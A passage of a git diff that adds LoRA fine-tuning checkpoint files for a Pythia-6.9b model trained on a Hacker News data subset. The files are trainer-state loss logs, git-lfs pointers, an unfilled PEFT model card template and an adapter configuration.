0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 4.58810015612928e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..a0bdf88b23360fe4a139dc0ab509b68ed02c9d33 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b57a01c2b48a080601eabec8922a0b78f7bb0b5a97f34d836ec0486c05dfb58c +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..675bd82d20a217e1f0d80b468fb69addd0efafad --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:00cf65e73669433e9a6458d586e04a4ba5d6044934c5b32ff5a3b08454773679 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..fecfedbf1488a31afeaf7c01dc4f9760cfff1b16 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:47c6345b8afbd1f7a687e942ce33ce022660a29cb46a23e4c9eda9e498053741 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..1da17016e7f80351316298af3ab35d6cc666d60f --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:518f59f6861d3d54674180d781456c4d55d82eb1d5543c592846efd5b6bea3ea +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..dcd798ef64e4efb0fbb50028355179128c37f116 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/trainer_state.json @@ -0,0 +1,468 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 3.8666666666666667, + "eval_steps": 10, + "global_step": 290, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 4.75196087599104e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-290/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use 